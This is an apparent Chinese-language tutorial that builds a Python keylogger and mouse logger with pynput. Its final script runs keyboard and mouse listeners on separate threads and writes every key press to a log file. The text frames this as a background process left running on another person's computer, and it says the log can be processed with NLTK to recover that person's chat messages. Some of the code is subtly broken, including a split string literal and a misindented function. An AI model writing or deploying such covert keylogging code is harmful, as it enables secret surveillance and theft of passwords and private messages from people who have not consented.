Python電腦鍵盤及滑鼠記錄程式，電腦監視程式，程式執行截圖：

1.使用pynput庫

pynput 可以監控我們的鍵盤和滑鼠。目前具有此類功能的庫有很多，比如 pygame 等遊戲庫，但是當我們只需要監控鍵盤和滑鼠時，它們就顯得過於笨重了。

2.對鍵盤監控

在他的電腦常駐一個後臺程序去實現監控鍵盤輸入並記錄下來，程式碼大概可以這樣：

from pynput import keyboard
def on_press(key):
    print(f'{key} :pushed')
 def on_release(key):
    #print(f'{key} released')
 

    if key == keyboard.Key.esc:
        # Stop listener
        return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
    lsn.join()

3.對滑鼠監控

from pynput import mouse
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!
 
')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')
 
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
    listener.join()

你會發現，每條列印都被列印了兩次，這是因為按下去和抬起來都會觸發滑鼠事件。

4.監控並記錄到日誌檔案

from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
 
# 定義日誌檔案
logger.add('demo.log')
def on_press(key):
    logger.debug(f'{key} :pushed') 
def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False
# 定義f1用於執行緒1
def f1():
    with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
        lsn.join()
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
        return False
    else:
        logger.debug('mid was pressed!') 
# 定義f2用於執行緒2
def f2():
    # Collect events until released
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()
if __name__ == '__main__':
    # 起兩個執行緒分別監控鍵盤和滑鼠
    t1 = Thread(target=f1)
    t2 = Thread(target=f2)
    t1.start()
    t2.start()

這樣鍵盤操作已經全部被記錄，通過對這個日誌檔案進行簡單的NLTK語言處理，就能復原聊天記錄。

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